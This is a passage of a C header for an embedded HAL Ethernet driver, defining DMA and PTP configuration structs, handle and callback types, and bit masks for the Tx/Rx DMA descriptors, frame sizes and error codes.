of any initiated burst transfer with INCRx and SINGLE transfers. */
FunctionalState PBLx8Mode; /*!< Enables or disables the PBL multiplication by eight. */
uint32_t
TxDMABurstLength; /*!< Indicates the maximum number of beats to be transferred in one Tx DMA transaction.
This parameter can be a value of @ref ETH_Tx_DMA_Burst_Length */
FunctionalState
SecondPacketOperate; /*!< Enables or disables the Operate on second Packet mode, which allows the DMA to process a second
Packet of Transmit data even before
obtaining the status for the first one. */
uint32_t
RxDMABurstLength; /*!< Indicates the maximum number of beats to be transferred in one Rx DMA transaction.
This parameter can be a value of @ref ETH_Rx_DMA_Burst_Length */
FunctionalState FlushRxPacket; /*!< Enables or disables the Rx Packet Flush */
FunctionalState TCPSegmentation; /*!< Enables or disables the TCP Segmentation */
uint32_t
MaximumSegmentSize; /*!< Sets the maximum segment size that should be used while segmenting the packet
This parameter can be a value from 0x40 to 0x3FFF */
} ETH_DMAConfigTypeDef;
/**
*
*/
/**
* @brief HAL ETH Media Interfaces enum definition
*/
typedef enum
{
HAL_ETH_MII_MODE = 0x00U, /*!< Media Independent Interface */
HAL_ETH_RMII_MODE = 0x01U /*!< Reduced Media Independent Interface */
} ETH_MediaInterfaceTypeDef;
/**
*
*/
#ifdef HAL_ETH_USE_PTP
/**
* @brief HAL ETH PTP Update type enum definition
*/
typedef enum
{
HAL_ETH_PTP_POSITIVE_UPDATE = 0x00000000U, /*!< PTP positive time update */
HAL_ETH_PTP_NEGATIVE_UPDATE = 0x00000001U /*!< PTP negative time update */
} ETH_PtpUpdateTypeDef;
/**
*
*/
#endif /* HAL_ETH_USE_PTP */
/**
* @brief ETH Init Structure definition
*/
typedef struct
{
uint8_t
*MACAddr; /*!< MAC Address of used Hardware: must be pointer on an array of 6 bytes */
ETH_MediaInterfaceTypeDef MediaInterface; /*!< Selects the MII interface or the RMII interface. */
ETH_DMADescTypeDef
*TxDesc; /*!< Provides the address of the first DMA Tx descriptor in the list */
ETH_DMADescTypeDef
*RxDesc; /*!< Provides the address of the first DMA Rx descriptor in the list */
uint32_t RxBuffLen; /*!< Provides the length of Rx buffers size */
} ETH_InitTypeDef;
/**
*
*/
#ifdef HAL_ETH_USE_PTP
/**
* @brief ETH PTP Init Structure definition
*/
typedef struct
{
uint32_t Timestamp; /*!< Enable Timestamp */
uint32_t TimestampUpdateMode; /*!< Fine or Coarse Timestamp Update */
uint32_t TimestampInitialize; /*!< Initialize Timestamp */
uint32_t TimestampUpdate; /*!< Timestamp Update */
uint32_t TimestampAddendUpdate; /*!< Timestamp Addend Update */
uint32_t TimestampAll; /*!< Enable Timestamp for All Packets */
uint32_t TimestampRolloverMode; /*!< Timestamp Digital or Binary Rollover Control */
uint32_t TimestampV2; /*!< Enable PTP Packet Processing for Version 2 Format */
uint32_t TimestampEthernet; /*!< Enable Processing of PTP over Ethernet Packets */
uint32_t TimestampIPv6; /*!< Enable Processing of PTP Packets Sent over IPv6-UDP */
uint32_t TimestampIPv4; /*!< Enable Processing of PTP Packets Sent over IPv4-UDP */
uint32_t TimestampEvent; /*!< Enable Timestamp Snapshot for Event Messages */
uint32_t TimestampMaster; /*!< Enable Timestamp Snapshot for Event Messages */
uint32_t TimestampSnapshots; /*!< Select PTP packets for Taking Snapshots */
uint32_t TimestampFilter; /*!< Enable MAC Address for PTP Packet Filtering */
uint32_t
TimestampChecksumCorrection; /*!< Enable checksum correction during OST for PTP over UDP/IPv4 packets */
uint32_t TimestampStatusMode; /*!< Transmit Timestamp Status Mode */
uint32_t TimestampAddend; /*!< Timestamp addend value */
uint32_t TimestampSubsecondInc; /*!< Subsecond Increment */
} ETH_PTP_ConfigTypeDef;
/**
*
*/
#endif /* HAL_ETH_USE_PTP */
/**
* @brief HAL State structures definition
*/
typedef uint32_t HAL_ETH_StateTypeDef;
/**
*
*/
/**
* @brief HAL ETH Rx Get Buffer Function definition
*/
typedef void (*pETH_rxAllocateCallbackTypeDef)(uint8_t **buffer); /*!< pointer to an ETH Rx Get Buffer Function */
/**
*
*/
/**
* @brief HAL ETH Rx Set App Data Function definition
*/
typedef void (*pETH_rxLinkCallbackTypeDef)(void **pStart, void **pEnd, uint8_t *buff,
uint16_t Length); /*!< pointer to an ETH Rx Set App Data Function */
/**
*
*/
/**
* @brief HAL ETH Tx Free Function definition
*/
typedef void (*pETH_txFreeCallbackTypeDef)(uint32_t *buffer); /*!< pointer to an ETH Tx Free function */
/**
*
*/
/**
* @brief HAL ETH Tx Free Function definition
*/
typedef void (*pETH_txPtpCallbackTypeDef)(uint32_t *buffer,
ETH_TimeStampTypeDef *timestamp); /*!< pointer to an ETH Tx Free function */
/**
*
*/
/**
* @brief ETH Handle Structure definition
*/
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
typedef struct __ETH_HandleTypeDef
#else
typedef struct
#endif /* USE_HAL_ETH_REGISTER_CALLBACKS */
{
ETH_TypeDef *Instance; /*!< Register base address */
ETH_InitTypeDef Init; /*!< Ethernet Init Configuration */
ETH_TxDescListTypeDef TxDescList; /*!< Tx descriptor wrapper: holds all Tx descriptors list
addresses and current descriptor index */
ETH_RxDescListTypeDef RxDescList; /*!< Rx descriptor wrapper: holds all Rx descriptors list
addresses and current descriptor index */
#ifdef HAL_ETH_USE_PTP
ETH_TimeStampTypeDef TxTimestamp; /*!< Tx Timestamp */
#endif /* HAL_ETH_USE_PTP */
__IO HAL_ETH_StateTypeDef gState; /*!< ETH state information related to global Handle management
and also related to Tx operations. This parameter can
be a value of @ref ETH_State_Codes */
__IO uint32_t ErrorCode; /*!< Holds the global Error code of the ETH HAL status machine
This parameter can be a value of @ref ETH_Error_Code.*/
__IO uint32_t
DMAErrorCode; /*!< Holds the DMA Rx Tx Error code when a DMA AIS interrupt occurs
This parameter can be a combination of
@ref ETH_DMA_Status_Flags */
__IO uint32_t
MACErrorCode; /*!< Holds the MAC Rx Tx Error code when a MAC Rx or Tx status interrupt occurs
This parameter can be a combination of
@ref ETH_MAC_Rx_Tx_Status */
__IO uint32_t MACWakeUpEvent; /*!< Holds the Wake Up event when the MAC exit the power down mode
This parameter can be a value of
@ref ETH_MAC_Wake_Up_Event */
__IO uint32_t MACLPIEvent; /*!< Holds the LPI event when the an LPI status interrupt occurs.
This parameter can be a value of @ref ETHEx_LPI_Event */
__IO uint32_t IsPtpConfigured; /*!< Holds the PTP configuration status.
This parameter can be a value of
@ref ETH_PTP_Config_Status */
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
void (* TxCpltCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Tx Complete Callback */
void (* RxCpltCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Rx Complete Callback */
void (* ErrorCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Error Callback */
void (* PMTCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Power Management Callback */
void (* EEECallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH EEE Callback */
void (* WakeUpCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Wake UP Callback */
void (* MspInitCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Msp Init callback */
void (* MspDeInitCallback)(struct __ETH_HandleTypeDef *heth); /*!< ETH Msp DeInit callback */
#endif /* USE_HAL_ETH_REGISTER_CALLBACKS */
pETH_rxAllocateCallbackTypeDef rxAllocateCallback; /*!< ETH Rx Get Buffer Function */
pETH_rxLinkCallbackTypeDef rxLinkCallback; /*!< ETH Rx Set App Data Function */
pETH_txFreeCallbackTypeDef txFreeCallback; /*!< ETH Tx Free Function */
pETH_txPtpCallbackTypeDef txPtpCallback; /*!< ETH Tx Handle Ptp Function */
} ETH_HandleTypeDef;
/**
*
*/
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
/**
* @brief HAL ETH Callback ID enumeration definition
*/
typedef enum
{
HAL_ETH_MSPINIT_CB_ID = 0x00U, /*!< ETH MspInit callback ID */
HAL_ETH_MSPDEINIT_CB_ID = 0x01U, /*!< ETH MspDeInit callback ID */
HAL_ETH_TX_COMPLETE_CB_ID = 0x02U, /*!< ETH Tx Complete Callback ID */
HAL_ETH_RX_COMPLETE_CB_ID = 0x03U, /*!< ETH Rx Complete Callback ID */
HAL_ETH_ERROR_CB_ID = 0x04U, /*!< ETH Error Callback ID */
HAL_ETH_PMT_CB_ID = 0x06U, /*!< ETH Power Management Callback ID */
HAL_ETH_EEE_CB_ID = 0x07U, /*!< ETH EEE Callback ID */
HAL_ETH_WAKEUP_CB_ID = 0x08U /*!< ETH Wake UP Callback ID */
} HAL_ETH_CallbackIDTypeDef;
/**
* @brief HAL ETH Callback pointer definition
*/
typedef void (*pETH_CallbackTypeDef)(ETH_HandleTypeDef *heth); /*!< pointer to an ETH callback function */
#endif /* USE_HAL_ETH_REGISTER_CALLBACKS */
/**
* @brief ETH MAC filter structure definition
*/
typedef struct
{
FunctionalState PromiscuousMode; /*!< Enable or Disable Promiscuous Mode */
FunctionalState ReceiveAllMode; /*!< Enable or Disable Receive All Mode */
FunctionalState HachOrPerfectFilter; /*!< Enable or Disable Perfect filtering in addition to Hash filtering */
FunctionalState HashUnicast; /*!< Enable or Disable Hash filtering on unicast packets */
FunctionalState HashMulticast; /*!< Enable or Disable Hash filtering on multicast packets */
FunctionalState PassAllMulticast; /*!< Enable or Disable passing all multicast packets */
FunctionalState SrcAddrFiltering; /*!< Enable or Disable source address filtering module */
FunctionalState SrcAddrInverseFiltering; /*!< Enable or Disable source address inverse filtering */
FunctionalState DestAddrInverseFiltering; /*!< Enable or Disable destination address inverse filtering */
FunctionalState BroadcastFilter; /*!< Enable or Disable broadcast filter */
uint32_t ControlPacketsFilter; /*!< Set the control packets filter
This parameter can be a value of @ref ETH_Control_Packets_Filter */
} ETH_MACFilterConfigTypeDef;
/**
*
*/
/**
* @brief ETH Power Down structure definition
*/
typedef struct
{
FunctionalState WakeUpPacket; /*!< Enable or Disable Wake up packet detection in power down mode */
FunctionalState MagicPacket; /*!< Enable or Disable Magic packet detection in power down mode */
FunctionalState GlobalUnicast; /*!< Enable or Disable Global unicast packet detection in power down mode */
FunctionalState WakeUpForward; /*!< Enable or Disable Forwarding Wake up packets */
} ETH_PowerDownConfigTypeDef;
/**
*
*/
/**
* @}
*/
/* Exported constants --------------------------------------------------------*/
/** @defgroup ETH_Exported_Constants ETH Exported Constants
* @{
*/
/** @defgroup ETH_DMA_Tx_Descriptor_Bit_Definition ETH DMA Tx Descriptor Bit Definition
* @{
*/
/*
DMA Tx Normal Descriptor Read Format
-----------------------------------------------------------------------------------------------
TDES0 | Buffer1 or Header Address [31:0] |
-----------------------------------------------------------------------------------------------
TDES1 | Buffer2 Address [31:0] / Next Descriptor Address [31:0] |
-----------------------------------------------------------------------------------------------
TDES2 | IOC(31) | TTSE(30) | Buff2 Length[29:16] | VTIR[15:14] | Header or Buff1 Length[13:0] |
-----------------------------------------------------------------------------------------------
TDES3 | OWN(31) | CTRL[30:26] | Reserved[25:24] | CTRL[23:20] | Reserved[19:17] | Status[16:0] |
-----------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of TDES0 RF register
*/
#define ETH_DMATXNDESCRF_B1AP 0xFFFFFFFFU /*!< Transmit Packet Timestamp Low */
/**
* @brief Bit definition of TDES1 RF register
*/
#define ETH_DMATXNDESCRF_B2AP 0xFFFFFFFFU /*!< Transmit Packet Timestamp High */
/**
* @brief Bit definition of TDES2 RF register
*/
#define ETH_DMATXNDESCRF_IOC 0x80000000U /*!< Interrupt on Completion */
#define ETH_DMATXNDESCRF_TTSE 0x40000000U /*!< Transmit Timestamp Enable */
#define ETH_DMATXNDESCRF_B2L 0x3FFF0000U /*!< Buffer 2 Length */
#define ETH_DMATXNDESCRF_VTIR 0x0000C000U /*!< VLAN Tag Insertion or Replacement mask */
#define ETH_DMATXNDESCRF_VTIR_DISABLE 0x00000000U /*!< Do not add a VLAN tag. */
#define ETH_DMATXNDESCRF_VTIR_REMOVE 0x00004000U /*!< Remove the VLAN tag from the packets before transmission. */
#define ETH_DMATXNDESCRF_VTIR_INSERT 0x00008000U /*!< Insert a VLAN tag. */
#define ETH_DMATXNDESCRF_VTIR_REPLACE 0x0000C000U /*!< Replace the VLAN tag. */
#define ETH_DMATXNDESCRF_B1L 0x00003FFFU /*!< Buffer 1 Length */
#define ETH_DMATXNDESCRF_HL 0x000003FFU /*!< Header Length */
/**
* @brief Bit definition of TDES3 RF register
*/
#define ETH_DMATXNDESCRF_OWN 0x80000000U /*!< OWN bit: descriptor is owned by DMA engine */
#define ETH_DMATXNDESCRF_CTXT 0x40000000U /*!< Context Type */
#define ETH_DMATXNDESCRF_FD 0x20000000U /*!< First Descriptor */
#define ETH_DMATXNDESCRF_LD 0x10000000U /*!< Last Descriptor */
#define ETH_DMATXNDESCRF_CPC 0x0C000000U /*!< CRC Pad Control mask */
#define ETH_DMATXNDESCRF_CPC_CRCPAD_INSERT 0x00000000U /*!< CRC Pad Control: CRC and Pad Insertion */
#define ETH_DMATXNDESCRF_CPC_CRC_INSERT 0x04000000U /*!< CRC Pad Control: CRC Insertion (Disable Pad Insertion) */
#define ETH_DMATXNDESCRF_CPC_DISABLE 0x08000000U /*!< CRC Pad Control: Disable CRC Insertion */
#define ETH_DMATXNDESCRF_CPC_CRC_REPLACE 0x0C000000U /*!< CRC Pad Control: CRC Replacement */
#define ETH_DMATXNDESCRF_SAIC 0x03800000U /*!< SA Insertion Control mask*/
#define ETH_DMATXNDESCRF_SAIC_DISABLE 0x00000000U /*!< SA Insertion Control: Do not include the source address */
#define ETH_DMATXNDESCRF_SAIC_INSERT 0x00800000U /*!< SA Insertion Control: Include or insert the source address */
#define ETH_DMATXNDESCRF_SAIC_REPLACE 0x01000000U /*!< SA Insertion Control: Replace the source address */
#define ETH_DMATXNDESCRF_THL 0x00780000U /*!< TCP Header Length */
#define ETH_DMATXNDESCRF_TSE 0x00040000U /*!< TCP segmentation enable */
#define ETH_DMATXNDESCRF_CIC 0x00030000U /*!< Checksum Insertion Control: 4 cases */
#define ETH_DMATXNDESCRF_CIC_DISABLE 0x00000000U /*!< Do Nothing: Checksum Engine is disabled */
#define ETH_DMATXNDESCRF_CIC_IPHDR_INSERT 0x00010000U /*!< Only IP header checksum calculation and insertion are enabled. */
#define ETH_DMATXNDESCRF_CIC_IPHDR_PAYLOAD_INSERT 0x00020000U /*!< IP header checksum and payload checksum calculation and insertion are
enabled, but pseudo header
checksum is not
calculated in hardware */
#define ETH_DMATXNDESCRF_CIC_IPHDR_PAYLOAD_INSERT_PHDR_CALC 0x00030000U /*!< IP Header checksum and payload checksum calculation and insertion are
enabled, and pseudo header
checksum is
calculated in hardware. */
#define ETH_DMATXNDESCRF_TPL 0x0003FFFFU /*!< TCP Payload Length */
#define ETH_DMATXNDESCRF_FL 0x00007FFFU /*!< Transmit End of Ring */
/*
DMA Tx Normal Descriptor Write Back Format
-----------------------------------------------------------------------------------------------
TDES0 | Timestamp Low |
-----------------------------------------------------------------------------------------------
TDES1 | Timestamp High |
-----------------------------------------------------------------------------------------------
TDES2 | Reserved[31:0] |
-----------------------------------------------------------------------------------------------
TDES3 | OWN(31) | Status[30:0] |
-----------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of TDES0 WBF register
*/
#define ETH_DMATXNDESCWBF_TTSL 0xFFFFFFFFU /*!< Buffer1 Address Pointer or TSO Header Address Pointer */
/**
* @brief Bit definition of TDES1 WBF register
*/
#define ETH_DMATXNDESCWBF_TTSH 0xFFFFFFFFU /*!< Buffer2 Address Pointer */
/**
* @brief Bit definition of TDES3 WBF register
*/
#define ETH_DMATXNDESCWBF_OWN 0x80000000U /*!< OWN bit: descriptor is owned by DMA engine */
#define ETH_DMATXNDESCWBF_CTXT 0x40000000U /*!< Context Type */
#define ETH_DMATXNDESCWBF_FD 0x20000000U /*!< First Descriptor */
#define ETH_DMATXNDESCWBF_LD 0x10000000U /*!< Last Descriptor */
#define ETH_DMATXNDESCWBF_TTSS 0x00020000U /*!< Tx Timestamp Status */
#define ETH_DMATXNDESCWBF_DP 0x04000000U /*!< Disable Padding */
#define ETH_DMATXNDESCWBF_TTSE 0x02000000U /*!< Transmit Timestamp Enable */
#define ETH_DMATXNDESCWBF_ES 0x00008000U /*!< Error summary: OR of the following bits: IHE || UF || ED || EC || LCO || PCE || NC || LCA || FF || JT */
#define ETH_DMATXNDESCWBF_JT 0x00004000U /*!< Jabber Timeout */
#define ETH_DMATXNDESCWBF_FF 0x00002000U /*!< Packet Flushed: DMA/MTL flushed the packet due to SW flush */
#define ETH_DMATXNDESCWBF_PCE 0x00001000U /*!< Payload Checksum Error */
#define ETH_DMATXNDESCWBF_LCA 0x00000800U /*!< Loss of Carrier: carrier lost during transmission */
#define ETH_DMATXNDESCWBF_NC 0x00000400U /*!< No Carrier: no carrier signal from the transceiver */
#define ETH_DMATXNDESCWBF_LCO 0x00000200U /*!< Late Collision: transmission aborted due to collision */
#define ETH_DMATXNDESCWBF_EC 0x00000100U /*!< Excessive Collision: transmission aborted after 16 collisions */
#define ETH_DMATXNDESCWBF_CC 0x000000F0U /*!< Collision Count */
#define ETH_DMATXNDESCWBF_ED 0x00000008U /*!< Excessive Deferral */
#define ETH_DMATXNDESCWBF_UF 0x00000004U /*!< Underflow Error: late data arrival from the memory */
#define ETH_DMATXNDESCWBF_DB 0x00000002U /*!< Deferred Bit */
#define ETH_DMATXNDESCWBF_IHE 0x00000004U /*!< IP Header Error */
/*
DMA Tx Context Descriptor
-----------------------------------------------------------------------------------------------
TDES0 | Timestamp Low |
-----------------------------------------------------------------------------------------------
TDES1 | Timestamp High |
-----------------------------------------------------------------------------------------------
TDES2 | Inner VLAN Tag[31:16] | Reserved(15) | Maximum Segment Size [14:0] |
-----------------------------------------------------------------------------------------------
TDES3 | OWN(31) | Status[30:0] |
-----------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of Tx context descriptor register 0
*/
#define ETH_DMATXCDESC_TTSL 0xFFFFFFFFU /*!< Transmit Packet Timestamp Low */
/**
* @brief Bit definition of Tx context descriptor register 1
*/
#define ETH_DMATXCDESC_TTSH 0xFFFFFFFFU /*!< Transmit Packet Timestamp High */
/**
* @brief Bit definition of Tx context descriptor register 2
*/
#define ETH_DMATXCDESC_IVT 0xFFFF0000U /*!< Inner VLAN Tag */
#define ETH_DMATXCDESC_MSS 0x00003FFFU /*!< Maximum Segment Size */
/**
* @brief Bit definition of Tx context descriptor register 3
*/
#define ETH_DMATXCDESC_OWN 0x80000000U /*!< OWN bit: descriptor is owned by DMA engine */
#define ETH_DMATXCDESC_CTXT 0x40000000U /*!< Context Type */
#define ETH_DMATXCDESC_OSTC 0x08000000U /*!< One-Step Timestamp Correction Enable */
#define ETH_DMATXCDESC_TCMSSV 0x04000000U /*!< One-Step Timestamp Correction Input or MSS Valid */
#define ETH_DMATXCDESC_CDE 0x00800000U /*!< Context Descriptor Error */
#define ETH_DMATXCDESC_IVTIR 0x000C0000U /*!< Inner VLAN Tag Insert or Replace Mask */
#define ETH_DMATXCDESC_IVTIR_DISABLE 0x00000000U /*!< Do not add the inner VLAN tag. */
#define ETH_DMATXCDESC_IVTIR_REMOVE 0x00040000U /*!< Remove the inner VLAN tag from the packets before transmission. */
#define ETH_DMATXCDESC_IVTIR_INSERT 0x00080000U /*!< Insert the inner VLAN tag. */
#define ETH_DMATXCDESC_IVTIR_REPLACE 0x000C0000U /*!< Replace the inner VLAN tag. */
#define ETH_DMATXCDESC_IVLTV 0x00020000U /*!< Inner VLAN Tag Valid */
#define ETH_DMATXCDESC_VLTV 0x00010000U /*!< VLAN Tag Valid */
#define ETH_DMATXCDESC_VT 0x0000FFFFU /*!< VLAN Tag */
/**
* @}
*/
/** @defgroup ETH_DMA_Rx_Descriptor_Bit_Definition ETH DMA Rx Descriptor Bit Definition
* @{
*/
/*
DMA Rx Normal Descriptor read format
-----------------------------------------------------------------------------------------------------------
RDES0 | Buffer1 or Header Address [31:0] |
-----------------------------------------------------------------------------------------------------------
RDES1 | Reserved |
-----------------------------------------------------------------------------------------------------------
RDES2 | Payload or Buffer2 Address[31:0] |
-----------------------------------------------------------------------------------------------------------
RDES3 | OWN(31) | IOC(30) | Reserved [29:26] | BUF2V(25) | BUF1V(24) | Reserved [23:0] |
-----------------------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of Rx normal descriptor register 0 read format
*/
#define ETH_DMARXNDESCRF_BUF1AP 0xFFFFFFFFU /*!< Header or Buffer 1 Address Pointer */
/**
* @brief Bit definition of Rx normal descriptor register 2 read format
*/
#define ETH_DMARXNDESCRF_BUF2AP 0xFFFFFFFFU /*!< Buffer 2 Address Pointer */
/**
* @brief Bit definition of Rx normal descriptor register 3 read format
*/
#define ETH_DMARXNDESCRF_OWN 0x80000000U /*!< OWN bit: descriptor is owned by DMA engine */
#define ETH_DMARXNDESCRF_IOC 0x40000000U /*!< Interrupt Enabled on Completion */
#define ETH_DMARXNDESCRF_BUF2V 0x02000000U /*!< Buffer 2 Address Valid */
#define ETH_DMARXNDESCRF_BUF1V 0x01000000U /*!< Buffer 1 Address Valid */
/*
DMA Rx Normal Descriptor write back format
---------------------------------------------------------------------------------------------------------------------
RDES0 | Inner VLAN Tag[31:16] | Outer VLAN Tag[15:0] |
---------------------------------------------------------------------------------------------------------------------
RDES1 | OAM code, or MAC Control Opcode [31:16] | Extended Status |
---------------------------------------------------------------------------------------------------------------------
RDES2 | MAC Filter Status[31:16] | VF(15) | Reserved [14:12] | ARP Status [11:10] | Header Length [9:0] |
---------------------------------------------------------------------------------------------------------------------
RDES3 | OWN(31) | CTXT(30) | FD(29) | LD(28) | Status[27:16] | ES(15) | Packet Length[14:0] |
---------------------------------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of Rx normal descriptor register 0 write back format
*/
#define ETH_DMARXNDESCWBF_IVT 0xFFFF0000U /*!< Inner VLAN Tag */
#define ETH_DMARXNDESCWBF_OVT 0x0000FFFFU /*!< Outer VLAN Tag */
/**
* @brief Bit definition of Rx normal descriptor register 1 write back format
*/
#define ETH_DMARXNDESCWBF_OPC 0xFFFF0000U /*!< OAM Sub-Type Code, or MAC Control Packet opcode */
#define ETH_DMARXNDESCWBF_TD 0x00008000U /*!< Timestamp Dropped */
#define ETH_DMARXNDESCWBF_TSA 0x00004000U /*!< Timestamp Available */
#define ETH_DMARXNDESCWBF_PV 0x00002000U /*!< PTP Version */
#define ETH_DMARXNDESCWBF_PFT 0x00001000U /*!< PTP Packet Type */
#define ETH_DMARXNDESCWBF_PMT_NO 0x00000000U /*!< PTP Message Type: No PTP message received */
#define ETH_DMARXNDESCWBF_PMT_SYNC 0x00000100U /*!< PTP Message Type: SYNC (all clock types) */
#define ETH_DMARXNDESCWBF_PMT_FUP 0x00000200U /*!< PTP Message Type: Follow_Up (all clock types) */
#define ETH_DMARXNDESCWBF_PMT_DREQ 0x00000300U /*!< PTP Message Type: Delay_Req (all clock types) */
#define ETH_DMARXNDESCWBF_PMT_DRESP 0x00000400U /*!< PTP Message Type: Delay_Resp (all clock types) */
#define ETH_DMARXNDESCWBF_PMT_PDREQ 0x00000500U /*!< PTP Message Type: Pdelay_Req (in peer-to-peer transparent clock) */
#define ETH_DMARXNDESCWBF_PMT_PDRESP 0x00000600U /*!< PTP Message Type: Pdelay_Resp (in peer-to-peer transparent clock) */
#define ETH_DMARXNDESCWBF_PMT_PDRESPFUP 0x00000700U /*!< PTP Message Type: Pdelay_Resp_Follow_Up (in peer-to-peer transparent clock) */
#define ETH_DMARXNDESCWBF_PMT_ANNOUNCE 0x00000800U /*!< PTP Message Type: Announce */
#define ETH_DMARXNDESCWBF_PMT_MANAG 0x00000900U /*!< PTP Message Type: Management */
#define ETH_DMARXNDESCWBF_PMT_SIGN 0x00000A00U /*!< PTP Message Type: Signaling */
#define ETH_DMARXNDESCWBF_PMT_RESERVED 0x00000F00U /*!< PTP Message Type: PTP packet with Reserved message type */
#define ETH_DMARXNDESCWBF_IPCE 0x00000080U /*!< IP Payload Error */
#define ETH_DMARXNDESCWBF_IPCB 0x00000040U /*!< IP Checksum Bypassed */
#define ETH_DMARXNDESCWBF_IPV6 0x00000020U /*!< IPv6 header Present */
#define ETH_DMARXNDESCWBF_IPV4 0x00000010U /*!< IPv4 header Present */
#define ETH_DMARXNDESCWBF_IPHE 0x00000008U /*!< IP Header Error */
#define ETH_DMARXNDESCWBF_PT 0x00000003U /*!< Payload Type mask */
#define ETH_DMARXNDESCWBF_PT_UNKNOWN 0x00000000U /*!< Payload Type: Unknown type or IP/AV payload not processed */
#define ETH_DMARXNDESCWBF_PT_UDP 0x00000001U /*!< Payload Type: UDP */
#define ETH_DMARXNDESCWBF_PT_TCP 0x00000002U /*!< Payload Type: TCP */
#define ETH_DMARXNDESCWBF_PT_ICMP 0x00000003U /*!< Payload Type: ICMP */
/**
* @brief Bit definition of Rx normal descriptor register 2 write back format
*/
#define ETH_DMARXNDESCWBF_L3L4FM 0x20000000U /*!< L3 and L4 Filter Number Matched: if reset filter 0 is matched , if set filter 1 is matched */
#define ETH_DMARXNDESCWBF_L4FM 0x10000000U /*!< Layer 4 Filter Match */
#define ETH_DMARXNDESCWBF_L3FM 0x08000000U /*!< Layer 3 Filter Match */
#define ETH_DMARXNDESCWBF_MADRM 0x07F80000U /*!< MAC Address Match or Hash Value */
#define ETH_DMARXNDESCWBF_HF 0x00040000U /*!< Hash Filter Status */
#define ETH_DMARXNDESCWBF_DAF 0x00020000U /*!< Destination Address Filter Fail */
#define ETH_DMARXNDESCWBF_SAF 0x00010000U /*!< SA Address Filter Fail */
#define ETH_DMARXNDESCWBF_VF 0x00008000U /*!< VLAN Filter Status */
#define ETH_DMARXNDESCWBF_ARPNR 0x00000400U /*!< ARP Reply Not Generated */
/**
* @brief Bit definition of Rx normal descriptor register 3 write back format
*/
#define ETH_DMARXNDESCWBF_OWN 0x80000000U /*!< Own Bit */
#define ETH_DMARXNDESCWBF_CTXT 0x40000000U /*!< Receive Context Descriptor */
#define ETH_DMARXNDESCWBF_FD 0x20000000U /*!< First Descriptor */
#define ETH_DMARXNDESCWBF_LD 0x10000000U /*!< Last Descriptor */
#define ETH_DMARXNDESCWBF_RS2V 0x08000000U /*!< Receive Status RDES2 Valid */
#define ETH_DMARXNDESCWBF_RS1V 0x04000000U /*!< Receive Status RDES1 Valid */
#define ETH_DMARXNDESCWBF_RS0V 0x02000000U /*!< Receive Status RDES0 Valid */
#define ETH_DMARXNDESCWBF_CE 0x01000000U /*!< CRC Error */
#define ETH_DMARXNDESCWBF_GP 0x00800000U /*!< Giant Packet */
#define ETH_DMARXNDESCWBF_RWT 0x00400000U /*!< Receive Watchdog Timeout */
#define ETH_DMARXNDESCWBF_OE 0x00200000U /*!< Overflow Error */
#define ETH_DMARXNDESCWBF_RE 0x00100000U /*!< Receive Error */
#define ETH_DMARXNDESCWBF_DE 0x00080000U /*!< Dribble Bit Error */
#define ETH_DMARXNDESCWBF_LT 0x00070000U /*!< Length/Type Field */
#define ETH_DMARXNDESCWBF_LT_LP 0x00000000U /*!< The packet is a length packet */
#define ETH_DMARXNDESCWBF_LT_TP 0x00010000U /*!< The packet is a type packet */
#define ETH_DMARXNDESCWBF_LT_ARP 0x00030000U /*!< The packet is a ARP Request packet type */
#define ETH_DMARXNDESCWBF_LT_VLAN 0x00040000U /*!< The packet is a type packet with VLAN Tag */
#define ETH_DMARXNDESCWBF_LT_DVLAN 0x00050000U /*!< The packet is a type packet with Double VLAN Tag */
#define ETH_DMARXNDESCWBF_LT_MAC 0x00060000U /*!< The packet is a MAC Control packet type */
#define ETH_DMARXNDESCWBF_LT_OAM 0x00070000U /*!< The packet is a OAM packet type */
#define ETH_DMARXNDESCWBF_ES 0x00008000U /*!< Error Summary */
#define ETH_DMARXNDESCWBF_PL 0x00007FFFU /*!< Packet Length */
/*
DMA Rx context Descriptor
---------------------------------------------------------------------------------------------------------------------
RDES0 | Timestamp Low[31:0] |
---------------------------------------------------------------------------------------------------------------------
RDES1 | Timestamp High[31:0] |
---------------------------------------------------------------------------------------------------------------------
RDES2 | Reserved |
---------------------------------------------------------------------------------------------------------------------
RDES3 | OWN(31) | CTXT(30) | Reserved[29:0] |
---------------------------------------------------------------------------------------------------------------------
*/
/**
* @brief Bit definition of Rx context descriptor register 0
*/
#define ETH_DMARXCDESC_RTSL 0xFFFFFFFFU /*!< Receive Packet Timestamp Low */
/**
* @brief Bit definition of Rx context descriptor register 1
*/
#define ETH_DMARXCDESC_RTSH 0xFFFFFFFFU /*!< Receive Packet Timestamp High */
/**
* @brief Bit definition of Rx context descriptor register 3
*/
#define ETH_DMARXCDESC_OWN 0x80000000U /*!< Own Bit */
#define ETH_DMARXCDESC_CTXT 0x40000000U /*!< Receive Context Descriptor */
/**
* @}
*/
/** @defgroup ETH_Frame_settings ETH frame settings
* @{
*/
#define ETH_MAX_PACKET_SIZE 1528U /*!< ETH_HEADER + 2*VLAN_TAG + MAX_ETH_PAYLOAD + ETH_CRC */
#define ETH_HEADER 14U /*!< 6 byte Dest addr, 6 byte Src addr, 2 byte length/type */
#define ETH_CRC 4U /*!< Ethernet CRC */
#define ETH_VLAN_TAG 4U /*!< optional 802.1q VLAN Tag */
#define ETH_MIN_PAYLOAD 46U /*!< Minimum Ethernet payload size */
#define ETH_MAX_PAYLOAD 1500U /*!< Maximum Ethernet payload size */
#define ETH_JUMBO_FRAME_PAYLOAD 9000U /*!< Jumbo frame payload size */
/**
* @}
*/
/** @defgroup ETH_Error_Code ETH Error Code
* @{
*/
#define HAL_ETH_ERROR_NONE 0x00000000U /*!< No error */
#define HAL_ETH_ERROR_PARAM 0x00000001U /*!< Busy error */
